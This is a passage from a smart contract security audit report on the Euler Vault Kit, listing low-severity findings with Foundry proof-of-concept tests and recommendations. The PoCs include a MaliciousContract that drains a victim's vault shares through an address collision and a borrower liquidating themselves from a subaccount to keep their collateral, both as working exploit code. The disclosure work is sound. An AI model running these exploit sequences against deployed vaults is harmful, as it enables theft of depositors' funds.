import {TrackingRewardStreams} from "lib/reward-streams/src/TrackingRewardStreams.sol";

interface ITransferFrom {
    function transferFromMax(address from, address to) external returns (bool);
}
```

```
contract SecureContract {

}

contract MaliciousContract {
    IEVC internal immutable evc;

    constructor(address _evc) {
        evc = IEVC(_evc);
    }

    function attack(address onBehalfOfAccount, address vault) public {
        IEVC(evc).call(
            vault,
            onBehalfOfAccount,
            0,
            abi.encodeWithSelector(ITransferFrom.transferFromMax.selector, onBehalfOfAccount, msg.sender)
        );
    }
}

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    function setUp() public override {
        super.setUp();
    }

    function test_POC2() external {
        // 1. Attacker finds a collision beforehand
        address secureContractAddress = 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD;
        address maliciousContractAddress = 0xDEADDEADdEaDDeaDDEaDdEadDEaDDEaDdEadde00;

        // 2. Attacker deploys secure contract
        SecureContract secureContract = new SecureContract();
        vm.etch(secureContractAddress, address(secureContract).code);
        secureContract = SecureContract(secureContractAddress);

        // 3. Attacker attracts victims
        address user = makeAddr("user");
        vm.deal(user, 1 ether);
        assetTST.mint(user, 1000000 ether);

        vm.startPrank(user);
        assetTST.approve(address(eTST), 1000000 ether);
        eTST.deposit(1000000 ether, user);
        eTST.transfer(address(secureContract), 1000000 ether);
        vm.stopPrank();

        // 4. Attacker deploys malicious contract
        MaliciousContract maliciousContract = new MaliciousContract(address(evc));
        vm.etch(maliciousContractAddress, address(maliciousContract).code);
        maliciousContract = MaliciousContract(maliciousContractAddress);

        // 5. Attacker makes his move
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);
        assertEq(eTST.balanceOf(attacker), 0);
        vm.prank(attacker);
        maliciousContract.attack(secureContractAddress, address(eTST));
        assertEq(eTST.balanceOf(attacker), 1000000 ether);
    }
}
```

Recommendation: This attack can be prevented by requiring that `onBehalfOfAccount` does not have deployed code if `onBehalfOfAccount` is not an account owner and the operation is initiated by an account owner.

3.1.87 `Evault.ConverToAssets()` is overestimated when `exchangeRate` < 1

Submitted by GothicShanon89238, also found by Anurag Jain

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: In the `conversionTotals` function, `VIRTUAL_DEPOSIT_AMOUNT` (`1e6` by default) is added to both `totalAssets` and `totalShares`. Exchange rate would be $\frac{\text{totalAssets}+\text{virtualDeposit}}{\text{totalShares}+\text{virtualDeposit}}$. The current approach mitigates share price manipulation. However, it at the same time creates weird behaviors. For exmple, the `Evault.ConverToAssets()` is overestimated when`exchangeRate` < 1. Users can redeem more assets then they should.

As the `virtualAssets` does not take a cut during bad debt socialization, `Evault.ConverToAssets()`Assume an edge case where `totalAssets == 1e6` and `totalSupply == 2e6`, the accurate exchangeRate would be 0.5. However, it shows $\frac{1e6+1e6}{2e6+1e6} = 0.75$ Users can withdraw more than they should in this case.

Proof of concept:

```
function testOverEstimatedExchangeRate() public {
        // setup collateral
        eTST.setLTV(address(eTST2), 1e4, 1e4, 0);
        oracle.setPrice(address(assetTST), unitOfAccount, 1 ether);
        oracle.setPrice(address(assetTST2), unitOfAccount, 1 ether);


        address lender = makeAddr("lender");
        uint depositAmount = 100e6;
        assetTST.mint(lender, depositAmount);
        vm.startPrank(lender);
        assetTST.approve(address(eTST), depositAmount);
        eTST.deposit(depositAmount, lender);
        vm.stopPrank();

        address borrower = makeAddr("borrower");
        uint collateralAmount = 100e6;
        vm.startPrank(borrower);
        assetTST2.mint(borrower, collateralAmount);
        assetTST2.approve(address(eTST2), collateralAmount);
        eTST2.deposit(collateralAmount, borrower);
        evc.enableCollateral(borrower, address(eTST2));
        evc.enableController(borrower, address(eTST));
        eTST.borrow(90e6, borrower);
        vm.stopPrank();

        // setPrice
        oracle.setPrice(address(assetTST2), unitOfAccount, 0.5e18);
        // check liquidation
        startHoax(lender);
        (uint256 maxRepay, uint256 maxYield) = eTST.checkLiquidation(lender, borrower, address(eTST2));

        // liquidate
        evc.enableCollateral(lender, address(eTST2));
        evc.enableController(lender, address(eTST));
        eTST.liquidate(borrower, address(eTST2), maxRepay, 0);

        // exchange rate < 1
        assertLe(eTST.convertToAssets(1e18), 1e18);

        assetTST.mint(lender, 100e6);

        // repay all debt
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.repay(type(uint256).max, address(lender));
        assertEq(eTST.totalBorrows(), 0);

        // can not withdraw all shares due to overestimated exchange rate
        vm.expectRevert(Errors.E_InsufficientCash.selector);
        eTST.redeem(type(uint256).max, lender, lender);

        eTST.withdraw(eTST.cash(), lender, lender);

        // we ended up a wierd case where supply > 0 but totalAssets == 0
        assertGt(eTST.totalSupply(), 0);
```

```
        assertEq(eTST.cash() + eTST.totalBorrows(), 0);
        assertGt(eTST.convertToAssets(eTST.totalSupply()), eTST.cash() + eTST.totalBorrows());
    }
```

Recommendation: I recommend to stick to OZ's implementation or just mint initial shares to `address(0)` during the first deposit.

I believe the OZ's original approach is to represent the shares with more precision than the assets. (Address EIP-4626 inflation attacks with virtual shares and assets) OZ implements it by adding 1 `virtualAsset` and `10**decimalsOffset` of `virtualShares` so that the `exchangeRate` would be `10**decimalOffset` shares for one unit of asset when the vault is empty. There would be more precision even if exploiter inflates the share price.

Euler's current approach of adding `VIRTUAL_DEPOSIT_AMOUNT` to both totalAssets and totalShares does not represent shares with more precision, as the `exchangeRate` remains 1 when the vault is empty. However, it has the effect of minting initial shares to a dead address. Manipulation is hindered since every donation to the vault would be diluted.

Mixing these two approaches makes the codebase more complicated, IMHO. Several unusual edge cases are created:

1. `virtualShares` accrue interest differently from normal shares, leading to lender profits being diluted in a complicated way.
2. As mentioned above, the exchangeRate is overestimated when it is less than 1. Users can redeem more than they should.
3. As noted in Cache.sol, fee share calculations become abnormal when the exchangeRate is less than 1. The vault can charge more fees than the accrued interest, resulting in lenders losing money.

3.1.88 Governance: `setInterestRateModel` resets the `interestRate` to zero

Submitted by kaka

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The function `setInterestRateModel` is called by the governor and sets the interetst rate model. Also, it sets the `interestRate` to zero. there are chances that the `vaultStorage.interestRate` could be set as zero.

```
/// @inheritdoc IGovernance
function setInterestRateModel(address newModel) public virtual nonReentrant governorOnly {
    VaultCache memory vaultCache = updateVault();

    vaultStorage.interestRateModel = newModel;
    vaultStorage.interestRate = 0; ------------------>>> reset to zero

    uint256 newInterestRate = computeInterestRate(vaultCache); -->> lets follow this function.

    logVaultStatus(vaultCache, newInterestRate);

    emit GovSetInterestRateModel(newModel);
}
```

inside the `computeInterestRate` function, again the `vaultStorage.interestRate` will be updated. Lets see the `computeInterestRate`:

```
function computeInterestRate(VaultCache memory vaultCache) internal virtual returns (uint256) {
    // single sload
    address irm = vaultStorage.interestRateModel;
    uint256 newInterestRate = vaultStorage.interestRate; --->> its already zero here.

    if (irm != address(0)) {
        (bool success, bytes memory data) = irm.call(
            abi.encodeCall(
                IIRM.computeInterestRate,
                (address(this), vaultCache.cash.toUint(), vaultCache.totalBorrows.toAssetsUp().toUint())
            )
        );

        if (success && data.length >= 32) { --->> if success only the, vaultStorage.interestRate is updated.
            newInterestRate = abi.decode(data, (uint256));
            if (newInterestRate > MAX_ALLOWED_INTEREST_RATE) newInterestRate = MAX_ALLOWED_INTEREST_RATE;
            vaultStorage.interestRate = uint72(newInterestRate); --->> this could be zero if check is not
↪   executed.
        }
    }

    return newInterestRate;
}
```

Impact: Zero interest rate will be set. The function `computeInterestRate` will give zero interest rate when fetched to calculate the borrow and lending interest.

- Changes in Supply and Demand: Interest rates serve as a mechanism to balance supply and demand in borrowing and lending markets. Without interest rates, there might be imbalances where either borrowers or lenders dominate, leading to inefficiencies in the market.
- Lack of Incentives: Interest rates act as incentives for both borrowers and lenders. Without interest, there may be fewer incentives for individuals to lend out their assets or for borrowers to repay loans promptly.

Recommendation: We recommend the following solutions to fix this: Set the `vaultStorage.interestRate` for some base interest value. When the oracle `computeInterestRate` gets valid interest rate by calling the `IIRM.computeInterestRate`, update the interest rate otherwise use the old value or base value.

3.1.89 Full batched repayments done with EVC's batch call may fail when max supply is exceeded

Submitted by nonseodion

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: To complete a full repayment the EVK does some of these state changes:

- Cash is increased using the users debt rounded up to assets. `owed` is rounded up below:
- Borrowing.sol#L84-L89:

```
uint256 owed = getCurrentOwed(vaultCache, receiver).toAssetsUp().toUint();

Assets assets = (amount == type(uint256).max ? owed : amount).toAssets();
if (assets.isZero()) return 0;

pullAssets(vaultCache, account, assets);
```

  Then added to cash in `pullAssets()`.

- AssetTransfers.sol#L18-L2:

```
function pullAssets(VaultCache memory vaultCache, address from, Assets amount) internal virtual {
    vaultCache.asset.safeTransferFrom(from, address(this), amount.toUint(), permit2);
    vaultStorage.cash = vaultCache.cash = vaultCache.cash + amount;
}
```

- `totalBorrows` is only reduced by the exact amount of debt, not the rounded-up value cash is increased by. This means there may be an increase in supply by 1 since `supply = totalCash + totalBorrows`.

- BorrowUtils.sol#L59-L73:

```
function decreaseBorrow(VaultCache memory vaultCache, address account, Assets assets) internal virtual {
    (Owed owedExact, Owed prevOwed) = loadUserBorrow(vaultCache, account);
    Assets owed = owedExact.toAssetsUp();

    if (assets > owed) revert E_RepayTooMuch();

    Owed owedRemaining = owed.subUnchecked(assets).toOwed();

    setUserBorrow(vaultCache, account, owedRemaining);
    vaultStorage.totalBorrows = vaultCache.totalBorrows = vaultCache.totalBorrows > owedExact
        ? vaultCache.totalBorrows.subUnchecked(owedExact).addUnchecked(owedRemaining)
        : owedRemaining;

    logRepay(account, assets, prevOwed.toAssetsUp(), owedRemaining.toAssetsUp());
}
```

  To ensure the slight increase in supply does not cause a revert, the code in the RiskManager contract rounds down the latest `totalBorrows` and rounds up `totalBorrows` in the snapshot. The comment in the check snippet below explains it further.

- RiskManager.sol#L108-L113:

```
// Borrows are rounded down, because total assets could increase during repays.
// This could happen when repaid user debt is rounded up to assets and used to increase cash,
// while totalBorrows would be adjusted by only the exact debt, less than the increase in cash.
uint256 supply = vaultCache.cash.toUint() + vaultCache.totalBorrows.toAssetsDown().toUint();

if (supply > vaultCache.supplyCap && supply > prevSupply) revert E_SupplyCapExceeded();
```

However, since the supply check in the RiskManager contract is deferred until the end of all EVC executions, thus `totalCash` may be increased by more than one rounded-up debt value if multiple repayments are done before the check. With each repayment total supply may increase by 1. This will make the check in the RiskManager contract revert when `supplyCap` has been exceeded. The mitigation above only caters for one repayment and not multiple repayments.

Impact: Batched calls from the EVC involving more than one repayment to the vault may revert.

Proof of concept: Import this to ensure the POC compiles. The test can be run in borrow.t.sol file.

```
import {IEVC} from "ethereum-vault-connector/interfaces/IEthereumVaultConnector.sol";
```

Proof of concept: The proof of concept below shows how multiple repayments can be reverted with a supply cap exceeded error:

```
function test_repayMax() public {
    address borrower3 = makeAddr("borrower_3");
    uint256 amountToBorrow = 5e18;

    // setup borrower
    startHoax(borrower);
    assetTST.approve(address(eTST), type(uint256).max);
    evc.enableCollateral(borrower, address(eTST2));
    evc.enableController(borrower, address(eTST));
    eTST.borrow(amountToBorrow, borrower);

    // transfer assets the other two borrowers can use as deposits for collateral
    assetTST2.transfer(borrower2, 10e18);
    assetTST2.transfer(borrower3, 10e18);

    // setup borrower2
    startHoax(borrower2);
    assetTST2.approve(address(eTST2), type(uint256).max);
    eTST2.deposit(10e18, borrower2);
    assetTST.approve(address(eTST), type(uint256).max);
    evc.enableCollateral(borrower2, address(eTST2));
    evc.enableController(borrower2, address(eTST));
    eTST.borrow(amountToBorrow, borrower2);
```

```
    assetTST.transfer(borrower, amountToBorrow);

    // The dust amount and no. of repayments determine if a revert will occur.
    // For days less or equal to 10.
    // This reverts if 4, 7, 9 or 10 days are skipped.
    skip(10 days);

    // setup borrower3
    startHoax(borrower3);
    assetTST2.approve(address(eTST2), type(uint256).max);
    eTST2.deposit(10e18, borrower3);
    assetTST.approve(address(eTST), type(uint256).max);
    evc.enableCollateral(borrower3, address(eTST2));
    evc.enableController(borrower3, address(eTST));
    eTST.borrow(amountToBorrow, borrower3);
    assetTST.transfer(borrower, amountToBorrow);

    vm.stopPrank();

    (uint16 a, uint16 b ) = eTST.caps();

    // set max supply cap of 10 to ensure the supply cap check runs
    eTST.setCaps( 64000, b);

    startHoax(borrower);

    // seup items for evc batch call
    IEVC.BatchItem[] memory items = new IEVC.BatchItem[](2);
    items[0] = IEVC.BatchItem({
        onBehalfOfAccount: borrower,
        targetContract: address(eTST),
        value: 0,
        data: abi.encodeWithSelector(eTST.repay.selector, type(uint256).max, borrower)
    });
    items[1] = IEVC.BatchItem({
        onBehalfOfAccount: borrower,
        targetContract: address(eTST),
        value: 0,
        data: abi.encodeWithSelector(eTST.repay.selector, type(uint256).max, borrower2)
    });

    vm.expectRevert(Errors.E_SupplyCapExceeded.selector);
    evc.batch(items);
}
```

Recommendation: Further analysis is required to determine conditions when a revert will surely occur. This will help determine a good mitigation process. Due to time constraints, I can't perform this analysis but I can mention that the dust amounts of the different repayments and the no. of repayments determine if the call will revert.

3.1.90 Unfair debt socialization after clearLTV of still worthwhile collateral

Submitted by Auditten

Severity: Low Risk

Context: LTVConfig.sol#L74-L81, Liquidation.sol#L209-L222

Description: In the current implementation of the EVK, debt socialization is used to handle cases where a borrower's collateral is insufficient to cover their debt after liquidation. This process involves forgiving the remaining debt and allowing the borrower to use the vault again. However, this mechanism can lead to unintended consequences when the borrower possesses collateral that, while deemed unsafe for liquidation, still holds significant value. In such cases, borrowers might have an incentive to repay their debt to reclaim their valuable collateral, but the current socialization process does not account for this, potentially leading to incorrect socialization.

Impact: The current debt socialization mechanism in the EVK could result in borrowers unfairly benefiting from the system when they hold valuable but unsafe collateral. This occurs because the socialization process forgives their debt, allowing them to reclaim their collateral without any obligation to repay. This not only undermines the incentive structure but also poses a risk to the stability and fairness of the lending platform. By not distinguishing between genuinely worthless collateral and valuable but unsafe collateral, the platform may inadvertently encourage strategic defaults and reduce overall lender confidence.

Likelihood: It's quite likely that governors would occasionally call `clearLTV()`, because of various reasons. Some of those cleared collaterals might be assets that are popular, but:

- Got hacked.
- Got maliciously updated.
- Tokens turning fee-on-transfer on (e.g. USDT), or changing their behaviour to an unexpected one.

Many positions might use this collateral to secure their debt. All of them will be liquidated and socialized. This leads to 100% likelihood given that clearLTV happens.

Proof of concept: Consider the following scenario:

1. Borrower Situation: A borrower has collateral A, which becomes unsafe to liquidate due to a hack but still retains market value. Also they have some other collaterals with minor or no value.
2. Clearing LTV: The governor clears the LTV of collateral A.
3. Current Liquidation and Socialization Process: Borrower or someone else liquidates all borrower's collaterals except A. The borrower's remaining debt is forgiven, and they receive collateral A back without repayment.
4. Incentive Misalignment: The borrower benefits from the forgiven debt and valuable collateral, despite having the means and incentive to repay the debt to reclaim the collateral. All depositors unfairly lose price of their shares.

Proof of concept: Should be run from `euler-vault-kit/test/unit/evault`:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase, TestERC20, IRMTestDefault} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    TestERC20 assetTST3;
    IEVault public eTST3;

    address depositor;
    address borrower;

    function setUp() public override {
        super.setUp();

        // setting up the third EVault to be used as a second collateral
        assetTST3 = new TestERC20("Test Token 3", "TST3", 18, false);
        eTST3 = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(assetTST3), address(oracle),
↪  unitOfAccount))
        );
        eTST3.setInterestRateModel(address(new IRMTestDefault()));
        eTST3.setMaxLiquidationDiscount(0.2e4);
        eTST3.setFeeReceiver(feeReceiver);

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(eTST2), unitOfAccount, 1e18);
        oracle.setPrice(address(eTST3), unitOfAccount, 1e18);
        eTST.setLTV(address(eTST2), 0.9e4, 0.9e4, 0);
        eTST.setLTV(address(eTST3), 0.9e4, 0.9e4, 0);

        depositor = makeAddr("depositor");
        borrower = makeAddr("borrower");

        assetTST.mint(depositor, 80 ether);
        assetTST2.mint(borrower, 100 ether);
    }

    function getSubaccount(uint256 subaccount) internal view returns(address) {
        return address(uint160(borrower) ^ uint160(subaccount));
    }
```

```
    function testUnfairSocializationPOC() external {
        vm.startPrank(depositor);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(80 ether, depositor);
        vm.stopPrank();

        // borrower takes 80 ether of eTST will 100 ether collateral of eTST2
        vm.startPrank(borrower);
        evc.enableCollateral(borrower, address(eTST2));
        evc.enableCollateral(borrower, address(eTST3));
        evc.enableController(borrower, address(eTST));
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(100 ether, borrower);
        eTST.borrow(80 ether, borrower);
        vm.stopPrank();

        // governor clears LTV for eTST2 due to it becomes unsafe to use
        eTST.clearLTV(address(eTST2));

        // now borrower can socialize himself from own subaccount for free
        vm.startPrank(borrower);
        evc.enableController(getSubaccount(1), address(eTST));
        evc.call(address(eTST), getSubaccount(1), 0, abi.encodeCall(eTST.liquidate, (borrower, address(eTST3),
↪   type(uint256).max, 0)));
        eTST2.redeem(type(uint256).max, borrower, borrower);
        // borrower can freely use both an underlying asset of the unsafe Vault and taken debt
        assertEq(assetTST2.balanceOf(borrower), 100 ether);
        assertEq(assetTST.balanceOf(borrower), 80 ether);
        vm.stopPrank();
    }
}
```

Recommendation: I propose to improve socialization mechanism. Instead of forgiving and forgetting borrower's debt, lock violator's account until it becomes healthy.

In some cases this borrower will repay debt or add new collateral while in some cases they won't do this and this debt will be frozen forever. To account for this, I propose to divide all `shares` into two: `goodShares` (they correspond to vault's cash and non-socialized debts) and `badShares` (they correspond to socialized debts). Functions like `balanceOf()`, `transfer()`, `withdraw()` etc. take into account only `goodShares`.

When socialization happens, proportional part of users' good shares will be converted into bad shares. Here is pseudocode that explains socialization process:

```
def socialize(violator, badDebt: Shares):
    violator.badDebt = true
    for user in users:
        part = user.shares * badDebt / totalShares
        user.goodShares -= part
        user.badShares += part
    totalGoodShares -= badDebt
    totalBadShares += badDebt
```

When user repays bad debt, proportional part of users' bad shares will be converted to good shares. Here is pseudocode that explains repay-bad-debt process:

```
def repayBadDebt(Shares badDebt):
    violator.badDebt = false
    for user in users:
        part = user.badShares * badDebt / totalBadShares
        user.goodShares += part
        user.badShares -= part
    totalGoodShares += badDebt
    totalBadShares -= badDebt
```

Of course, going through all users is too expensive, so let's do some conversions. We will not store `user.badShares` nor `totalBadShares` because they can be easily derived from other variables. Also let's keep fraction `x = user.goodShares / user.shares` in formulas to keep is simple (actual smart contract will not store it). So for some `user`:

- Socialize does `user.goodShares -= user.shares * badDebt / totalShares` which translates to `x -= badDebt / totalShares`. Here value `A = badDebt / totalShares` is the same for all users during one socialization — this is a linear function $x \to x - A$.

- `RepayBadDebt` does `user.goodShares += user.badShares * badDebt / totalBadShares` which translates to `x += (1 - x) * badDebt / totalBadShares`. Here value `B = badDebt / totalBadShares` is the same for all users during one repayment — this is a linear function $x \to x + (1 - x) * B = x * (1 - B) + B$.

In both cases, we need to apply a linear function like `x * mul + add` to all vault's users' `x`. Combination of linear functions is linear. So let's keep coefficients of this function in global storage and update them on each action. User's storage will store snapshot of these values at the time of last update of this user storage as well as `shares` and `goodShares` correctly calculated at that time. This is similar to how `interestAccumulator` is implemented in Vault and `accumulator` is implemented in RewardStreams.

Now we need to solve two problems:

- Global storage contains some function `t * mul1 + add1` and some socialize/repay wants to apply new function `t * mul2 + add2` to it. Then the resulting value will be `(t * mul1 + add1) * mul2 + add2 = t * (mul1 * mul2) + (add1 * mul2 + add2)`. So we need to update values to `mul := mul1 * mul2` and `add := add1 * mul2 + add2`.
- We are doing some action with user's storage, so before it we need to calculate up-to-date value of `goodShares`. User storage contains some snapshot function `t * mul1 + add1` and its value `x`. Vault contains up-to-date function `t * mul2 + add2` and we need to calculate its value `x'` to current user. So $x = t * mul1 + add1 \to t = (x - add1) / mul1$. `x' = t * mul2 + add2 = (x - add1) / mul1 * mul2 + add2` which translates to `user.goodShares := (user.goodShares - user.add1 * user.shares) / user.mul1 * mul2 + add2 * user.shares`.

Special care should be taken to avoid division by zero when `user.mul = 0`. This is possible when there are no bad shares in the vault. This problem is solved by maintaining `currentId` which is incremented on each operation, Vault's `lastNoBadSharesId` and user's `lastUpdatedId`.

After combining all calculations, we get the resulting solution:

0. In `initialize`:
   - `currentId = 0`;
   - `lastNoBadSharesId = 0`;
   - `mul = 1`;
   - `add = 0`.
1. New variables in vault storage: `totalGoodShares`, `mul`, `add`, `currentId`, `lastNoBadSharesId`.
2. New variables in user storage: `isBadDebt`, `goodShares`, `mul`, `add`, `lastUpdatedId`.
3. Before each user action:
   - if `user.lastUpdatedId < lastNoBadSharesId`:
     - `user.goodShares = user.shares`;
     - `user.mul = 1`;
     - `user.add = 0`;
   - `user.goodShares := (user.goodShares - user.add * user.shares) / user.mul * mul + add * user.shares`;
   - `user.mul = mul`;
   - `user.add = add`;
   - `user.lastUpdatedId = currentId`.
4. During socialization:
   - `borrower.isBadDebt = true`;
   - `add -= borrower.owed.toShares() / totalShares`;
   - `totalGoodShares -= badDebt`.
5. In the beginning of functions `repay`, `repayWithShares`, `pullDebt`, `checkAccountStatus` (only if `borrower.isBadDebt`):

- `currentId++;`
- `borrower.isBadDebt = false;`
- `mul *= 1 - borrower.owed.toShares() / totalBadShares;`
- `add = add * (1 - borrower.owed.toShares() / totalBadShares) + user.owed.toShares() / totalBadShares;`
- if `mul == 0`:
  - `lastNoBadSharesId = currentId;`
  - `mul = 1;`
  - `add = 0;`
- `totalGoodShares += badDebt`.

Note that if user will not become healthy after these functions, `checkAccountStatus` will revert and effects from socialization will be applied back.